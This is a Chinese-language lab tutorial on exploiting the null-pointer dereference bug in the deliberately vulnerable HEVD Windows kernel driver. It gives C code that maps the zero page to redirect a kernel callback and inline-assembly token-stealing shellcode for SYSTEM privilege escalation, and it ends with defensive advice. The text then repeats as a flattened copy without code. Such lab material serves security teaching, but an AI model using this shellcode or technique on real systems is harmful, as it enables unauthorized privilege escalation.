Windows Kernel Exploit(五) -> Null-Pointer-Dereference
字数 764 2025-08-04 08:17:33

Windows内核漏洞利用:空指针解引用漏洞分析与利用

0x00 漏洞概述

空指针解引用(Null-Pointer-Dereference)是Windows内核漏洞利用系列的第五部分,属于相对简单的内核漏洞类型。当指针值为NULL时被调用指向某块内存地址,就会产生空指针解引用漏洞。

0x01 漏洞环境准备

  • 操作系统: Windows 7 x86 sp1虚拟机
  • 调试工具: windbg(建议配合VirtualKD使用)
  • 漏洞环境: HEVD + OSR Loader组合

0x02 漏洞原理分析

漏洞函数分析

分析HEVD.sys中的TriggerNullPointerDereference函数:

int __stdcall TriggerNullPointerDereference(void *UserBuffer) {
    PNULL_POINTER_DEREFERENCE NullPointerDereference;
    int result;
    unsigned int UserValue;
    
    ProbeForRead(UserBuffer, 8u, 4u);
    NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(0, 8u, 0x6B636148u);
    
    if (NullPointerDereference) {
        // 打印池信息...
        UserValue = *(_DWORD *)UserBuffer;
        
        if (UserValue == 0xBAD0B0B0) {
            NullPointerDereference->Value = 0xBAD0B0B0;
            NullPointerDereference->Callback = (void(__stdcall *)())NullPointerDereferenceObjectCallback;
        } else {
            ExFreePoolWithTag(NullPointerDereference, 0x6B636148u);
            NullPointerDereference = 0; // 指针被置NULL
        }
        
        // 漏洞点:未检查NullPointerDereference是否为NULL就直接调用
        NullPointerDereference->Callback();
        result = 0;
    } else {
        result = 0xC0000017;
    }
    return result;
}

安全与不安全版本对比

安全版本会检查指针是否为NULL:

if (NullPointerDereference) {
    NullPointerDereference->Callback();
}

不安全版本直接调用:

NullPointerDereference->Callback(); // 可能解引用NULL指针

0x03 漏洞利用技术

控制码分析

在HackSysExtremeVulnerableDriver.h中定义的控制码:

#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE IOCTL(0x80A)

计算实际控制码:

>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80A << 2) | 0x00000003)
'0x22202b'

零页内存构造

关键步骤是构造零页内存并将shellcode地址写入特定位置:

PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;

// 申请零页内存
if (!NT_SUCCESS(NtAllocateVirtualMemory(
    INVALID_HANDLE_VALUE, 
    &Zero_addr, 
    0, 
    &RegionSize, 
    MEM_COMMIT | MEM_RESERVE, 
    PAGE_READWRITE)) || Zero_addr != NULL) {
    printf("[+]Failed to alloc zero page!\n");
    return 0;
}

// 将shellcode地址写入0x4位置
*(DWORD*)(0x4) = (DWORD)&ShellCode;

Shellcode设计

提权shellcode需要注意堆栈平衡,避免蓝屏:

static VOID ShellCode() {
    _asm {
        pop edi
        pop esi
        pop ebx
        pushad
        mov eax, fs:[124h]    // 获取当前线程的_KTHREAD结构
        mov eax, [eax + 0x50] // 获取_EPROCESS结构
        mov ecx, eax
        mov edx, 4            // SYSTEM进程PID(4)
        
    find_sys_pid:
        mov eax, [eax + 0xb8] // 遍历进程活动链表
        sub eax, 0xb8
        cmp [eax + 0xb4], edx // 通过PID判断是否为SYSTEM
        jnz find_sys_pid
        
        // 替换Token
        mov edx, [eax + 0xf8]
        mov [ecx + 0xf8], edx
        popad
        ret
    }
}

0x04 完整利用步骤

  1. 初始化:获取驱动设备句柄
  2. 零页分配:申请零页内存并写入shellcode地址
  3. 触发漏洞:调用TriggerNullPointerDereference函数
  4. 提权:通过cmd验证提权效果

0x05 相关CVE参考

可参考类似漏洞:CVE-2018-8120

0x06 防御措施

  1. 始终在解引用指针前检查是否为NULL
  2. 使用安全函数和宏进行指针操作
  3. 启用内核ASLR等缓解措施
  4. 限制用户态对零页内存的访问权限

附录:关键数据结构

typedef struct _NULL_POINTER_DEREFERENCE {
    DWORD Value;
    void (__stdcall *Callback)();
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

通过以上详细分析,可以全面理解Windows内核空指针解引用漏洞的原理和利用方法。

Windows内核漏洞利用:空指针解引用漏洞分析与利用 0x00 漏洞概述 空指针解引用(Null-Pointer-Dereference)是Windows内核漏洞利用系列的第五部分,属于相对简单的内核漏洞类型。当指针值为NULL时被调用指向某块内存地址,就会产生空指针解引用漏洞。 0x01 漏洞环境准备 操作系统 : Windows 7 x86 sp1虚拟机 调试工具 : windbg(建议配合VirtualKD使用) 漏洞环境 : HEVD + OSR Loader组合 0x02 漏洞原理分析 漏洞函数分析 分析HEVD.sys中的 TriggerNullPointerDereference 函数: 安全与不安全版本对比 安全版本会检查指针是否为NULL: 不安全版本直接调用: 0x03 漏洞利用技术 控制码分析 在HackSysExtremeVulnerableDriver.h中定义的控制码: 计算实际控制码: 零页内存构造 关键步骤是构造零页内存并将shellcode地址写入特定位置: Shellcode设计 提权shellcode需要注意堆栈平衡,避免蓝屏: 0x04 完整利用步骤 初始化 :获取驱动设备句柄 零页分配 :申请零页内存并写入shellcode地址 触发漏洞 :调用 TriggerNullPointerDereference 函数 提权 :通过cmd验证提权效果 0x05 相关CVE参考 可参考类似漏洞:CVE-2018-8120 0x06 防御措施 始终在解引用指针前检查是否为NULL 使用安全函数和宏进行指针操作 启用内核ASLR等缓解措施 限制用户态对零页内存的访问权限 附录:关键数据结构 通过以上详细分析,可以全面理解Windows内核空指针解引用漏洞的原理和利用方法。